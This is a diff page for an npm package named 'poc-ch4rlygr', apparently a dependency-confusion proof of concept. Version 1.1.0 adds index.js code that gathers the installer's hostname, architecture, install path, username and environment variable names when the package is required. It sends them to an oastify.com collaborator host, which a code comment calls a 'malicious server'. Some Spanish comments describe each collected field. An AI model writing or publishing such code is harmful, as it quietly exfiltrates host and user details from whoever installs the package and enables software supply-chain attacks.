poc-ch4rlygr 1.0.0 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,8 +1,43 @@
1
- const data = JSON.stringify({
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const { execSync } = require('child_process');
4
+
5
+ //Malicious server to receive the data
6
+ const burpCollaborator = "zuxsp9k9vyk5y45z1n2hv0orhin9b2zr.oastify.com"; // Cambia esto por tu dominio de Burp Collaborator
7
+
8
+
9
+ //Collect device information
10
+ const data = {
2
11
  p: "poc-ch4rlygr", // Nombre del paquete
3
12
  h: os.hostname(), // Nombre del equipo
13
+ arch: os.arch(), // Arquitectura del sistema
4
14
  d: __dirname, // Ruta donde se instaló
5
- id: run("id"), // Usuario actual (Linux/Mac)
6
- uname: run("uname -a"), // Información del sistema
15
+ id: os.userInfo().username, // Usuario actual (Linux/Mac)
7
16
  env_keys: Object.keys(process.env).join(",") // Nombres de variables de entorno
8
- });
17
+ };
18
+
19
+ //Convert device information to a query string
20
+ const queryString = Object.keys(data)
21
+ .map( key => `${encodeURIComponent(key)}=${encodeURIComponent(data[key])}`)
22
+ .join('&');
23
+
24
+ //Define the request options
25
+ const options = {
26
+ hostname: burpCollaborator,
27
+ port: 443,
28
+ path: `/poc?${queryString}`,
29
+ method: 'GET'
30
+ };
31
+
32
+ //Create the HTTP request
33
+ const req = https.request(options, (res) => {
34
+ console.log(`Status Code: ${res.statusCode}`);
35
+ });
36
+
37
+ //Handle errors
38
+ req.on('error', (error) => {
39
+ console.error(`Error: ${error.message}`);
40
+ });
41
+
42
+ //Send the request
43
+ req.end();
@@ -0,0 +1,3 @@
1
+ const exp = require('poc-ch4rlygr')
2
+
3
+ console.log(poc.getData());
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "output",
3
+ "version": "1.0.0",
4
+ "lockfileVersion": 3,
5
+ "requires": true,
6
+ "packages": {
7
+ "node_modules/poc-ch4rlygr": {
8
+ "version": "1.0.0",
9
+ "resolved": "https://registry.npmjs.org/poc-ch4rlygr/-/poc-ch4rlygr-1.0.0.tgz",
10
+ "integrity": "sha512-b0LP2mSruWB2AJFv5XJni0n23xfhj7uQSoZVKW2ifvSrq8je9HxgzIml9pe2nR6hIl1EonRCvO+HwSOCASqgYA==",
11
+ "license": "ISC"
12
+ }
13
+ }
14
+ }
@@ -0,0 +1,10 @@
1
+ const os = require('os');
2
+
3
+ const data = JSON.stringify({
4
+ p: "poc-ch4rlygr", // Nombre del paquete
5
+ h: os.hostname(), // Nombre del equipo
6
+ d: __dirname, // Ruta donde se instaló
7
+ id: run("id"), // Usuario actual (Linux/Mac)
8
+ uname: run("uname -a"), // Información del sistema
9
+ env_keys: Object.keys(process.env).join(",") // Nombres de variables de entorno
10
+ });
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "poc-ch4rlygr",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "output",
3
+ "version": "1.0.0",
4
+ "lockfileVersion": 3,
5
+ "requires": true,
6
+ "packages": {
7
+ "": {
8
+ "name": "output",
9
+ "version": "1.0.0",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "poc-ch4rlygr": "^1.0.0"
13
+ }
14
+ },
15
+ "node_modules/poc-ch4rlygr": {
16
+ "version": "1.0.0",
17
+ "resolved": "https://registry.npmjs.org/poc-ch4rlygr/-/poc-ch4rlygr-1.0.0.tgz",
18
+ "integrity": "sha512-b0LP2mSruWB2AJFv5XJni0n23xfhj7uQSoZVKW2ifvSrq8je9HxgzIml9pe2nR6hIl1EonRCvO+HwSOCASqgYA==",
19
+ "license": "ISC"
20
+ }
21
+ }
22
+ }
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "output",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "poc-ch4rlygr": "^1.0.0"
14
+ }
15
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "poc-ch4rlygr",
3
- "version": "1.0.0",
3
+ "version": "1.1.0",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {